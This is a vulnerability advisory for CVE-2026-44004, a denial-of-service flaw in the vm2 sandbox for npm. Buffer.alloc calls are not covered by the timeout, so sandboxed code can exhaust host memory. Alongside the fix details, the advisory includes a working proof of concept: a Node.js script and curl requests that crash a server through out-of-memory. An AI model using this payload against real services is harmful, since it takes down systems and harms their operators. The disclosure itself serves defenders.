CVE-2026-44004

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):

• JavaScript loops: V8 can interrupt via timeout, vm2's timeout option works
• Buffer.alloc(N): Executes as a single synchronous C++ call, V8 timeout has no opportunity to interrupt

This means:

1. timeout: 5000 does NOT protect against this attack
2. A single call allocates the entire requested size at once
3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request, 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script, primary):

const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout, allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600, timeout had no effect

// Control test, JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}

# 2. Send Buffer.alloc payload, process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)

# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

# Control test, JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive, timeout works for JS, but NOT for Buffer.alloc

• DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection.
• Environment-dependent severity:
  • Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario, FATAL ERROR: Reached heap limit was confirmed in testing.
  • Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
• Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-44004 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44004? CVE-2026-44004 is a high-severity allocation of resources without limits or throttling vulnerability in vm2 (npm), affecting versions <= 3.10.5. It is fixed in 3.11.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2026-44004? CVE-2026-44004 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-44004? vm2 (npm) versions <= 3.10.5 is affected.
4. Is there a fix for CVE-2026-44004? Yes. CVE-2026-44004 is fixed in 3.11.0. Upgrade to this version or later.
5. Is CVE-2026-44004 exploitable, and should I be worried? Whether CVE-2026-44004 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44004 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44004? Upgrade vm2 to 3.11.0 or later.